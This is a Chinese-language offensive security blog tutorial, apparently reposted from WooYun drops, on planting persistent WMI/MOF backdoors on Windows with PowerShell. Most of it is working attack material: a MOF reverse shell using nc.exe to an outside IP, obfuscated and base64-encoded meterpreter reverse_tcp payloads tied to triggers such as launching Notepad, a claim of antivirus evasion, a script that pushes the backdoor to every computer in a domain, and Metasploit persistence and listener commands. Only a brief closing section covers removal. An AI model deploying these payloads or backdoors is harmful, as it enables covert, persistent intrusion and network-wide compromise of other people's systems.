Powershell之MOF后门 – Evi1cg

0x00 MOF


Managed Object Format (MOF)是WMI数据库中类和类实例的原始保存形式。具体介绍可以阅读《WMI 的攻击,防御与取证分析技术之防御篇》,Windows 管理规范 (WMI) 提供了以下三种方法编译到WMI存储库的托管对象格式 (MOF) 文件:

  • 方法 1: 使用Mofcomp.exe。
  • 方法 2: 使用 IMofCompiler 接口和$ CompileFile方法。
  • 方法 3: 拖放到%SystemRoot%\System32\Wbem\MOF文件夹的 MOF 文件。

第三种方法仅为向后兼容性与早期版本(win2003)的 WMI 提供。

一个简单的MOF反弹shell示例:

#!vb
#pragma namespace ("\\\\.\\root\\subscription")
instance of __EventFilter as $FILTER
{
Name = "CLASS_FIRST_TEST";
EventNamespace = "root\\cimv2";
Query = "SELECT * FROM __InstanceCreationEvent "
"WHERE TargetInstance ISA \"Win32_NTLogEvent\" AND "
"TargetInstance.LogFile=\"Application\"";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $CONSUMER
{
Name = "CLASS_FIRST_TEST";
ScriptingEngine = "VBScript";
ScriptText =
"Set objShell = CreateObject(\"WScript.Shell\")\n"
"objShell.Run \"C:\\Windows\\system32\\cmd.exe /C C:\\nc.exe 192.168.38.1 1337 -e C:\\Windows\\system32\\cmd.exe\"\n";
};
instance of __FilterToConsumerBinding
{
Consumer = $CONSUMER ;
Filter = $FILTER ;
};

0x01 MOF and Powershell


如果获取了管理员权限,使用MOF可以做一个永久的隐藏后门。对于很多后门来说,都需要一个触发,在这里,可以使用WMI Query Language(WQL)来查询事件,以便确定什么时候触发我们的后门。(更多详细的解释可在查看戳我戳我)。

比如,我们想做一个后门通过打开notepad来触发,可以使用以下查询:

#!sql
"SELECT * FROM __InstanceCreationEvent Within 5 " 
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";

如果想通过关闭Powershell来触发,可以使用以下查询:

#!sql
"SELECT * FROM __InstanceDeletionEvent Within 5 " 
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"powershell.exe\" ";

如果想通过每小时在30分钟的时候触发,可使用以下查询:

#!sql
"Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Minute = 30 "

当我们确定了我们的触发方式以后,我们就可以把我们的查询写成一个MOF过滤器:

#!vb
instance of __EventFilter as $Filt
{
Name = "EventFilter";
EventNamespace = "Root\\Cimv2";
Query = <插入查询> 
QueryLanguage = "WQL";
};

比如我们使用打开Notepad作为触发条件,那么可以这样写:

#!vb
instance of __EventFilter as $Filt
{
Name = "EventFilter";
EventNamespace = "Root\\Cimv2";
Query ="SELECT * FROM __InstanceCreationEvent Within 5" 
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";
QueryLanguage = "WQL";
};

下面我们就需要事件消费者的响应了,在这里我们可以使用不同的EventConsumer类,通过使用CommandLineEventConsumer,我们可以使用Veil输出的payload,同时也可以使用ActiveScriptEventConsumer来嵌入或者调用VBS脚本。下面是一个使用CommandLineEventConsumer的示例:

#!vb
"cmd /C [data here]";

下面使用Veil来生成Powershell payload:

Alt text

选择x86里面进行测试,payload如下:

#!bash
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

接下来,我们把上面的payload放到下面的模板中:

#!vb
instance of CommandLineEventConsumer as $Cons
{
Name = "Powershell Helper";
RunInteractively=false;
CommandLineTemplate="cmd /C powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();";
};

这里要注意一点就是如果payload里面存在需要转义的"以及\ 这里可以使用双引号将qi其引用并用\进行转义。

最后我们所写的MOF文件是这样的:

#!vb
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
Name = "Powershell Helper";
RunInteractively=false;
CommandLineTemplate="cmd /C powershell.exe -NoP -NonI -W Hidden"
" -Exec Bypass -Command \"Invoke-Expression "
"$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String"
"(\\\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5"
"UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/"
"Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13"
"URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/"
"JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/"
"ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/"
"RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\\\")))), "
"[IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"";
};
instance of __EventFilter as $Filt
{
Name = "EventFilter";
EventNamespace = "Root\\Cimv2";
Query ="SELECT * FROM __InstanceCreationEvent Within 5" 
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding {
Filter = $Filt;
Consumer = $Cons;
};

如果觉得麻烦的话,可以使用这个工具unicorn来生成没有特殊字符的payload,使用方式很简单:

#!bash
☁  unicorn [master] python unicorn.py windows/meterpreter/reverse_tcp 192.168.74.141 8889

powershell_attack.txt的内容复制进来,然后msfconsole -r unicorn.rc 则可开启监听,修改后的MOF文件如下:

#!vb
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
Name = "Powershell Helper";
RunInteractively=false;
CommandLineTemplate="cmd /C powershell -window hidden -enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAGMAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGMANAAsADAAeABiAGEALAAwAHgAYQBlACwAMAB4AGUAZAAsADAAeABmADMALAAwAHgANgA0ACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGYALAAwAHgAMgBiACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANAA3ACwAMAB4ADMAMQAsADAAeAA1ADcALAAwAHgAMQA4ACwAMAB4ADgAMwAsADAAeABjADcALAAwAHgAMAA0ACwAMAB4ADAAMwAsADAAeAA1ADcALAAwAHgAYgBhACwAMAB4ADAAZgAsADAAeAAwADYALAAwAHgAOQA4ACwAMAB4ADIAYQAsADAAeAA0AGQALAAwAHgAZQA5ACwAMAB4ADYAMQAsADAAeABhAGEALAAwAHgAMwAyACwAMAB4ADYAMwAsADAAeAA4ADQALAAwAHgAOQBiACwAMAB4ADcAMgAsADAAeAAxADcALAAwAHgAYwBjACwAMAB4ADgAYgAsADAAeAA0ADIALAAwAHgANQAzACwAMAB4ADgAMAAsADAAeAAyADcALAAwAHgAMgA4ACwAMAB4ADMAMQAsADAAeAAzADEALAAwAHgAYgBjACwAMAB4ADUAYwAsADAAeAA5AGUALAAwAHgAMwA2ACwAMAB4ADcANQAsADAAeABlAGEALAAwAHgAZgA4ACwAMAB4ADcAOQAsADAAeAA4ADYALAAwAHgANAA3ACwAMAB4ADMAOAAsADAAeAAxAGIALAAwAHgAMAA0ACwAMAB4ADkAYQAsADAAeAA2AGQALAAwAHgAZgBiACwAMAB4ADMANQAsADAAeAA1ADUALAAwAHgANgAwACwAMAB4AGYAYQAsADAAeAA3ADIALAAwAHgAOAA4ACwAMAB4ADgAOQAsADAAeABhAGUALAAwAHgAMgBiACwAMAB4AGMANgAsADAAeAAzAGMALAAwAHgANQBmACwAMAB4ADUAOAAsADAAeAA5ADIALAAwAHgAZgBjACwAMAB4AGQANAAsADAAeAAxADIALAAwAHgAMwAyACwAMAB4ADgANQAsADAAeAAwADkALAAwAHgAZQAyACwAMAB4ADMANQAsADAAeABhADQALAAwAHgAOQBmACwAMAB4ADcAOQAsADAAeAA2AGMALAAwAHgANgA2ACwAMAB4ADIAMQAsADAAeABhAGUALAAwAHgAMAA0ACwAMAB4ADIAZgAsADAAeAAzADkALAAwAHgAYgAzACwAMAB4ADIAMQAsADAAeABmADkALAAwAHgAYgAyACwAMAB4ADAANwAsADAAeABkAGQALAAwAHgAZgA4ACwAMAB4ADEAMgAsADAAeAA1ADYALAAwAHgAMQBlACwAMAB4ADUANgAsADAAeAA1AGIALAAwAHgANQA3ACwAMAB4AGUAZAAsADAAeABhADYALAAwAHgAOQBiACwAMAB4ADUAZgAsADAAeAAwAGUALAAwAHgAZABkACwAMAB4AGQANQAsADAAeAA5AGMALAAwAHgAYgAzACwAMAB4AGUANgAsADAAeAAyADEALAAwAHgAZABmACwAMAB4ADYAZgAsADAAeAA2ADIALAAwAHgAYgAyACwAMAB4ADQANwAsADAAeABmAGIALAAwAHgAZAA0ACwAMAB4ADEAZQAsADAAeAA3ADYALAAwAHgAMgA4ACwAMAB4ADgAMgAsADAAeABkADUALAAwAHgANwA0ACwAMAB4ADgANQAsADAAeABjADAALAAwAHgAYgAyACwAMAB4ADkAOAAsADAAeAAxADgALAAwAHgAMAA0ACwAMAB4AGMAOQAsADAAeABhADQALAAwAHgAOQAxACwAMAB4AGEAYgAsADAAeAAxAGUALAAwAHgAMgBkACwAMAB4AGUAMQAsADAAeAA4AGYALAAwAHgAYgBhACwAMAB4ADcANgAsADAAeABiADEALAAwAHgAYQBlACwAMAB4ADkAYgAsADAAeABkADIALAAwAHgAMQA0ACwAMAB4AGMAZQAsADAAeABmAGMALAAwAHgAYgBkACwAMAB4AGMAOQAsADAAeAA2AGEALAAwAHgANwA2ACwAMAB4ADUAMwAsADAAeAAxAGQALAAwAHgAMAA3ACwAMAB4AGQANQAsADAAeAAzAGIALAAwAHgAZAAyACwAMAB4ADIAYQAsADAAeABlADYALAAwAHgAYgBiACwAMAB4ADcAYwAsADAAeAAzAGMALAAwAHgAOQA1ACwAMAB4ADgAOQAsADAAeAAyADMALAAwAHgAOQA2ACwAMAB4ADMAMQAsADAAeABhADEALAAwAHgAYQBjACwAMAB4ADMAMAAsADAAeABjADUALAAwAHgAYwA2ACwAMAB4ADgANgAsADAAeAA4ADUALAAwAHgANQA5ACwAMAB4ADMAOQAsADAAeAAyADkALAAwAHgAZgA2ACwAMAB4ADcAMAAsADAAeABmAGQALAAwAHgANwBkACwAMAB4AGEANgAsADAAeABlAGEALAAwAHgAZAA0ACwAMAB4AGYAZAAsADAAeAAyAGQALAAwAHgAZQBiACwAMAB4AGQAOQAsADAAeAAyAGIALAAwAHgAZABiACwAMAB4AGUAZQAsADAAeAA0AGQALAAwAHgAMQA0ACwAMAB4AGIANAAsADAAeABiAGIALAAwAHgAMAAwACwAMAB4AGYAYwAsADAAeABjADcALAAwAHgAMwBiACwAMAB4ADMAOAAsADAAeAA0ADQALAAwAHgANABlACwAMAB4AGQAZAAsADAAeAA2AGMALAAwAHgAZQA2ACwAMAB4ADAAMQAsADAAeAA3ADIALAAwAHgAYwBjACwAMAB4ADUANgAsADAAeABlADIALAAwAHgAMgAyACwAMAB4AGEANAAsADAAeABiAGMALAAwAHgAZQBkACwAMAB4ADEAZAAsADAAeABkADQALAAwAHgAYgBlACwAMAB4ADIANwAsADAAeAAzADYALAAwAHgANwBlACwAMAB4ADUAMQAsADAAeAA5AGUALAAwAHgANgBlACwAMAB4ADEANgAsADAAeABjADgALAAwAHgAYgBiACwAMAB4AGUANQAsADAAeAA4ADcALAAwAHgAMQA1ACwAMAB4ADEANgAsADAAeAA4ADAALAAwAHgAOAA3ACwAMAB4ADkAZQAsADAAeAA5ADUALAAwAHgANwA0ACwAMAB4ADQAOQAsADAAeAA1ADcALAAwAHgAZAAzACwAMAB4ADYANgAsADAAeAAzAGQALAAwAHgAOQA3ACwAMAB4AGEAZQAsADAAeABkADUALAAwAHgAZQBiACwAMAB4AGEAOAAsADAAeAAwADQALAAwAHgANwAzACwAMAB4ADEAMwAsADAAeAAzAGQALAAwAHgAYQAzACwAMAB4AGQAMgAsADAAeAA0ADQALAAwAHgAYQA5ACwAMAB4AGEAOQAsADAAeAAwADMALAAwAHgAYQAyACwAMAB4ADcANgAsADAAeAA1ADEALAAwAHgANgA2ACwAMAB4AGIAOQAsADAAeABiAGYALAAwAHgAYwA3ACwAMAB4AGMAOQAsADAAeABkADUALAAwAHgAYgBmACwAMAB4ADAANwAsADAAeABjAGEALAAwAHgAMgA1ACwAMAB4ADkANgAsADAAeAA0AGQALAAwAHgAYwBhACwAMAB4ADQAZAAsADAAeAA0AGUALAAwAHgAMwA2ACwAMAB4ADkAOQAsADAAeAA2ADgALAAwAHgAOQAxACwAMAB4AGUAMwAsADAAeAA4AGQALAAwAHgAMgAxACwAMAB4ADAANAAsADAAeAAwAGMALAAwAHgAZQA0ACwAMAB4ADkANgAsADAAeAA4AGYALAAwAHgANgA0ACwAMAB4ADAAYQAsADAAeABjADEALAAwAHgAZgA4ACwAMAB4ADIAYQAsADAAeABmADUALAAwAHgAMgA0ACwAMAB4AGYAOQAsADAAeAAxADcALAAwAHgAMgAwACwAMAB4ADAAMAAsADAAeAA4AGYALAAwAHgANwA5ACwAMAB4AGYAMAA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAeAA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAeAAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAeAAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkADEAKQApADsAJAAyACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAMwAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAAzACAAJAAyACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIAAkAGUAIgA7AH0A";
};
instance of __EventFilter as $Filt
{
Name = "EventFilter";
EventNamespace = "Root\\Cimv2";
Query ="SELECT * FROM __InstanceCreationEvent Within 5" 
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding {
Filter = $Filt;
Consumer = $Cons;
};

将以上内容保存为test.mof,如果拥有管理员权限,可以将test.mof放到%SYSTEMROOT%/wbem/MOF目录(xp以下操作系统),系统会自动编译执行此脚本,如果在XP 或者更高版本的操作系统上可以执行如下命令:

#!bash
C:\>mofcomp.exe c:\test.mof

执行以后,当打开记事本的时候,则可生成meterpreter会话:

Alt text

同时,这个mof文件是免杀的:

Alt text

当然除了这个我们还可以做其他事情,比如关闭某个程序,当其启动时就关闭,MOF文件如下:

#!vb
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
Name = "Powershell Helper 2";
RunInteractively=false;
CommandLineTemplate="cmd /C powershell.exe Stop-Process -processname notepad -Force";
};
instance of __EventFilter as $Filt
{
Name = "EventFilter 2";
EventNamespace = "Root\\Cimv2";
Query ="SELECT * FROM __InstanceCreationEvent Within 3"
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding
{ 
Filter = $Filt;
Consumer = $Cons;
};

如果我们想要远程执行,可使用如下命令:

#!bash
c:\>mofcomp -N \\[machinename]\root\subscription test.mof

如果我们在域内,还可以用下面的Powershell脚本批量远程执行:

#!vb
function getNetHosts 
{
$final = @()
#获取域计算机
$strCategory = "computer"
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = $objDomain
$objSearcher.Filter = ("(objectCategory=$strCategory)")
$colProplist = "name", "cn"
foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}
$colResults = $objSearcher.FindAll()
foreach ($objResult in $colResults) 
{
$objComputer = $objResult.Properties
$bleh = $objComputer.name
$final += $bleh
}
return $final
}
$nethosts= getNetHosts
foreach ($nethost in $nethosts)
{
write-host "Exec on " + $nethost  
$str = "\\"+$nethost+"\root\subscription"
$m = mofcomp -N $str test.mof
}

使用方式为:

#!bash
c:\> powershell -ExecutionPolicy Bypass .\test.ps1 # mof文件在同一个文件夹下面

Alt text

0x02 Meterpreter Post Module


这里有一个msf的模块,可以实现此后门安装,地址:metasploit-modules,下载以后将其移动到post/windows/文件夹则可使用:

#!bash
☁  persistence [master] mv mof_ps_persist.rb $msf_path/modules/post/windows/

在获取meterpreter会话以后,安装此后门:

#!bash
msf exploit(web_delivery) > use post/windows/mof_ps_persist 
msf post(mof_ps_persist) > set LHOST 192.168.101.1 
LHOST => 192.168.101.1
msf post(mof_ps_persist) > set lport 8887
lport => 8887
msf post(mof_ps_persist) > set session 4
session => 4
msf post(mof_ps_persist) > run

默认payload为windows/meterpreter/reverse_tcp,执行时间间隔为60秒,如果想通过触发方式启动,可以自行修改ruby脚本。

Alt text

开启监听:

#!bash
msf post(mof_ps_persist) > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.101.1 
lhost => 192.168.101.1
msf exploit(handler) > set lport 8887
lport => 8887
msf exploit(handler) > exploit -j

Alt text

如果看到错误80041003,说明权限不够,可以试试试用bypassuac,具体怎么bypass,请戳我

当会话中断以后,由于mof自动执行,所以可以重新获取meterpreter会话。当对方电脑重启以后,仍可以获取会话。

如果想要清除后门,可以resource 生成的rc文件。

Alt text

0x03 停止MOF


要停止mof,可进行如下操作:

  • 第一 net stop winmgmt 停止服务,
  • 第二 删除文件夹:C:\WINDOWS\system32\wbem\Repository\
  • 第三 net start winmgmt 启动服务

0x04 小结


本篇文章主要介绍了一些结合MOF与powershell来进行制作后门的方式方法,对于MOF大家可能接触最多的就是在MYSQL提权时使用MOF来提权,其实玩儿法还很多,大家可以继续来研究研究,希望此文对你有帮助。

0x05 参考


本文由evi1cg原创并首发于乌云drops,转载请注明

原文链接:http://drops.wooyun.org/tips/12354

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